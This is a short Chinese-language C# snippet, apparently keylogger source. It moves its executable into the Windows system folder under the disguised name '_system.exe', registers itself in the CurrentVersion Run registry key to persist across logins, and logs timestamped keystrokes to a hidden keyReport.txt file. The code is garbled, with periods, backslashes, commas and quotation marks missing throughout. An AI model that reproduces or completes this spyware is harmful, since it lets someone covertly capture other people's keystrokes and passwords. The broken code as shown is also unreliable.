这是RegistryReport 类的实现 public void MoveFile()
{
//判断该位置是否存在_systemexe如果不是就把程序移动到该位置否则返回
if(!FileExists(c:windowssystem_systemexe))
{
FileMove(ApplicationExecutablePathc:windowssystem_systemexe);
}
else
return;
}
//在注册表里写如启动信息
public void registryRun()
{
RegistryKey key=RegistryCurrentUserCreateSubKey(SoftwareMicrosoftWindowsCurrentVersion
un);
keySetValue(c:windowssystem_systemexe);
keyClose();
}
这是Report类的实现: public void FirstWrite()
{
StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);
swWriteLine(************* LittleStudio Studio ************* );
swWriteLine(******** + DateTimeTodayYearToString() +
+ DateTimeTodayMonthToString() +
+ DateTimeTodayDayToString() +
+ DateTimeNowHourToString() + :
+ DateTimeNowMinuteToString() + :
+ DateTimeNowSecondToString() + ********);
swClose();
}
public void WriteDate(string keyEventsstring keyDate)
{
try
{
StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);
swWriteLine(keyDate + 键 + keyEvents +
+ DateTimeNowHourToString() + :
+ DateTimeNowMinuteToString() + :
+ DateTimeNowSecondToString());
swClose();
}
catch{}
return;
}